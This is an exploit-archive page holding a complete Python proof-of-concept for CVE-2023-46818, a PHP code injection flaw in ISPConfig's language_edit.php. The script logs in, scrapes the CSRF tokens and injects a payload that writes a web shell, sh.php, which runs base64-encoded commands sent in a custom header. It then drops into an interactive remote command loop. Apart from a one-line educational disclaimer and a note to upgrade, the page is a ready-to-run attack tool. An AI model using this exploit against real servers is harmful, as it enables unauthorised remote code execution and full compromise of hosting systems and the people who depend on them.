4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
# Vulnerability: CVE-2023-46818
# Python adaptation from original php script by Egidio Romano
# Python repository: https://github.com/bipbopbup/CVE-2023-46818-python-exploit
# Original PHP source: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
# Software link: https://www.ispconfig.org
# Solution: Upgrade to version 3.2.11p1 or later.
# Date: 08-10-2024

# THIS SCRIPT IS FOR EDUCATIONAL PURPOSES ONLY

import requests
import sys
import base64
import string
import random

def ensure_url_format(url):
    # Ensure the URL starts with http:// or https://
    if not url.startswith(("http://", "https://")):
        raise ValueError("URL must start with 'http://' or 'https://'")

    # Ensure the URL ends with a /
    if not url.endswith("/"):
        url += "/"

    return url

def login(url, user, password):
    print(f"[+] Logging in with username '{user}' and password '{password}'")
    
    # Create a request session
    session = requests.Session()
    
    # Try login
    login_url = f"{nice_url}login/"
    login_data = {
        'username': user,
        'password': password,
        's_mod': 'login'
    }
    
    response = session.post(login_url, data=login_data, verify=False)
    
    # Verify if login has failed
    if "Username or Password wrong" in response.text:
        sys.exit("[-] Login failed!")
    
    return session

def inject_shell(session, url):
    print("[+] Injecting shell")

    # Create PHP injection code
    php_code = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
    encoded_php = base64.b64encode(php_code.encode()).decode()

    injection_payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_php}'));die;#"
    lang_file = ''.join(random.choices(string.ascii_letters,k=8))+ ".lng"  # Random language file name. Uppercase and lowercase does not seem to affect the response

    # URL leading to the vulnerable language PHP file
    lang_edit_url = f"{url}admin/language_edit.php"
    lang_data = {
        'lang': 'en',
        'module': 'help',
        'lang_file': lang_file
    }

    response = session.post(lang_edit_url, data=lang_data, verify=False)

    # Extract CSRF ID y CSRF Key
    try:
        csrf_id = response.text.split('_csrf_id" value="')[1].split('"')[0]
        csrf_key = response.text.split('_csrf_key" value="')[1].split('"')[0]
    except IndexError:
        sys.exit("[-] CSRF ID or Key not found!")

    # Inyect payload with CSRF tokens
    lang_data.update({
        '_csrf_id': csrf_id,
        '_csrf_key': csrf_key,
        'records[\\]': injection_payload
    })

    session.post(lang_edit_url, data=lang_data, verify=False)

def launch_shell(session, url):
    print("[+] Launching shell")

    shell_url = f"{url}admin/sh.php"

    while True:
        try:
            cmd = input("\nispconfig-shell# ")
            if cmd.lower() == "exit":
                break
            
            # Base 64 encoded command in custom C header
            headers = {
                'C': base64.b64encode(cmd.encode()).decode()
            }

            response = session.get(shell_url, headers=headers, verify=False)
            
            # Extract and print result between '____'
            if '____' in response.text:
                result = response.text.split('____')[1]
                print(result)
            else:
                sys.exit("\n[-] Exploit failed!")
        except KeyboardInterrupt:
            sys.exit("\n[+] Exiting.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        sys.exit(f"\nUsage: python {sys.argv[0]} <URL> <Username> <Password>\n")
    
    url, user, password = sys.argv[1], sys.argv[2], sys.argv[3]

    # Disable SSL warnings
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

    nice_url = ensure_url_format(url)
    print("[+] Target URL: "+nice_url)
    session = login(nice_url, user, password)
    inject_shell(session, nice_url)
    launch_shell(session, nice_url)